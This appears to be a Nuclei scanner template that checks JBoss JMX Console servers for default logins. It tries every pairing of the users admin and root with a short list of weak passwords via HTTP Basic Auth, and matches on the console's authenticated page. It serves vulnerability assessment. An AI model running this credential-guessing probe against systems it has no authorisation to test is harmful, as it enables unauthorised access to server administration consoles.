id: jmx-default-login

info:
  name: JBoss JMX Console Weak Credential Discovery
  author: paradessia
  severity: high
  description: JBoss JMX Console default login information was discovered.
  reference:
    - https://docs.jboss.org/jbossas/6/Admin_Console_Guide/en-US/html/Administration_Console_User_Guide-Accessing_the_Console.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 28
  tags: jboss,jmx,default-login

http:
  - raw:
      - |
        GET /jmx-console/ HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /jmx-console/ HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(user + ':' + pass)}}

    attack: clusterbomb
    payloads:
      user:
        - admin
        - root
      pass:
        - admin
        - 12345
        - 123456
        - 1234
        - 123456789
        - 123qwe
        - root

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(body_1, 'JMImplementation') && contains(body_2, 'JMImplementation')"

      - type: status
        status:
          - 200

# digest: 4a0a0047304502201f319b650493bdd684894819ca3875b30d71b689af29bc7cbd853256fbae046502210088d943455efcfe4aa5951c5f50705509f37b815eb8d49d803fd40c2acb19a3c5:922c64590222798bb761d5b6d8e72950
